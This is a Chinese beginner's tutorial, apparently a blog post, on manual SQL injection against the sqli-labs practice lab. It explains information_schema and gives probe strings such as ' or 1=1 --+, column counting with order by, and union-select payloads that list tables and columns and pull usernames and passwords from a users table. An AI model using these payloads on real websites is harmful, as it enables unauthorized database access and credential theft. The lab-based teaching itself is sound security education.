SQL注入基础篇

原理:在可以传入的参数的地方(GET,POST,Cookie)带入正常SQL查询语句,对服务器来说就是恶意的代码传入

利用:同SQL注入可以直接有效的获取服务数据库当前用户所能访问的所有信息(需要知道数据库的结构)​,利用SQL注入的核心是闭合前面的SQL语句,然后执行我们后面的语句。

​学习的环境:phpstudy集成环境+SQL注入天书

        这个环境默认的MYSQL会存在一个数据库information_schema,里面有3个表存放了所以在当前环境下的数据库的结构

        1.columns:存放列信息(名) table_schema  table_name  column_name

        2.schemata :数据信息(名) schema_name

        3. tables:存放表信息(名)​  table_schema   table_name

注入点的寻找:

           一般寻找跟ID有关的参数带入点,手工尝试是否可以注入,当然也有用工具去扫不一定能扫出来(啊D,明小子)​。一般在带有数字参数的地方(id=1)拼接

           or​ 1=1 --+  ;  ' or  1=1--+; "or 1=1 --+;  ) or 1=1 --+;  ')or​ ;") or 之类的

实战​传入正常的ID值


​​传入一个否定的语句 1' and 1=2 --+(结尾都需要--+ (就是#号)去注释后面的语句让后面的语句没办法执行,执行我们想执行的语句就OK了


​​获取当前表的数据列 使用 order by


​​​当我们输入3的时候回显正确


​​​当我们输入3的时候回显正确,确定当前有3个列的数据,对应下图的位置


可以看到只2个地方是可以回显数据的

注:id=-1是反之前的没有内容回显,好回显我们需要的数据


注入获取当前数据库和数据库版本


获取当前数据库有哪些表

?id=-1' union select  1,2,group_concat(table_name)  from information_schema.tables where table_schema='security' --+


获取users表里面的字段        ?id=-1' union select 1,2,group_concat(column_name)    from information_schema.columns  where  table_schema='security'  and  table_name='users'   --+


获取其他用户的信息比如ID=2的

?id=-1' union select  1,username,password from security.users where id =2   --+


小结:这种没有过滤的SQL语句,只要闭合了第一个变量就可以通过正常的SQL语句慢慢注入出我们想要的数据,结尾都需要--+去注释后面的语句让后面的语句没办法执行,执行我们想执行的语句就OK了

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值